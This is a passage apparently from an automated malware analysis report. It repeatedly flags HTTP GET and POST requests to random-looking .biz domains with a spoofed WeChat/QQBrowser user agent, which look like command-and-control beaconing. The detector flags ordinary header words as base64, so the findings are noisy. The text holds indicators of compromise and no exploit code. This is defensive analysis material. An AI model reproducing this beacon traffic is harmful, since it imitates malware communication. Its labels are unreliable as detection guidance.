6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "QBCore/3" in header "GET /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "2524" in header "GET /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "anpmnmxo" in header "GET /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "POST" in header "POST /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "/grb" in header "POST /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "Keep" in header "POST /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "anpmnmxo" in header "POST /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "like" in header "POST /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2171" in header "POST /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "MicroMessenger/6" in header "POST /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "NetType/WIFI" in header "POST /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "QBCore/3" in header "POST /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2524" in header "POST /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "/grb" in header "GET /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "Keep" in header "GET /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "like" in header "GET /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "2171" in header "GET /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "MicroMessenger/6" in header "GET /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "NetType/WIFI" in header "GET /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "QBCore/3" in header "GET /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "2524" in header "GET /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "anpmnmxo" in header "GET /grb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "POST" in header "POST /vulouslgnlhitti HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "/vulouslgnlhitti" in header "POST /vulouslgnlhitti HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "Keep" in header "POST /vulouslgnlhitti HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "like" in header "POST /vulouslgnlhitti HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2171" in header "POST /vulouslgnlhitti HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "MicroMessenger/6" in header "POST /vulouslgnlhitti HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "NetType/WIFI" in header "POST /vulouslgnlhitti HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "QBCore/3" in header "POST /vulouslgnlhitti HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2524" in header "POST /vulouslgnlhitti HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "POST" in header "POST /m HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "Keep" in header "POST /m HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "like" in header "POST /m HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2171" in header "POST /m HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "MicroMessenger/6" in header "POST /m HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "NetType/WIFI" in header "POST /m HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "QBCore/3" in header "POST /m HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2524" in header "POST /m HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "POST" in header "POST /uxfbf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "Keep" in header "POST /uxfbf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "like" in header "POST /uxfbf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2171" in header "POST /uxfbf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "MicroMessenger/6" in header "POST /uxfbf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "NetType/WIFI" in header "POST /uxfbf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "QBCore/3" in header "POST /uxfbf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2524" in header "POST /uxfbf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "POST" in header "POST /x HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "Keep" in header "POST /x HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "like" in header "POST /x HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2171" in header "POST /x HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "MicroMessenger/6" in header "POST /x HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "NetType/WIFI" in header "POST /x HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "QBCore/3" in header "POST /x HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2524" in header "POST /x HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "POST" in header "POST /timgrnolbnjx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: tbjrpv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "Keep" in header "POST /timgrnolbnjx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: tbjrpv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "like" in header "POST /timgrnolbnjx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: tbjrpv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2171" in header "POST /timgrnolbnjx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: tbjrpv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "MicroMessenger/6" in header "POST /timgrnolbnjx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: tbjrpv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "NetType/WIFI" in header "POST /timgrnolbnjx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: tbjrpv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "QBCore/3" in header "POST /timgrnolbnjx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: tbjrpv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2524" in header "POST /timgrnolbnjx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: tbjrpv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "POST" in header "POST /ihsriapotht HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gytujflc.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "/ihsriapotht" in header "POST /ihsriapotht HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gytujflc.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "Keep" in header "POST /ihsriapotht HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gytujflc.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "gytujflc" in header "POST /ihsriapotht HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gytujflc.bizUser-Agent: Mozilla/5.0 (Windows 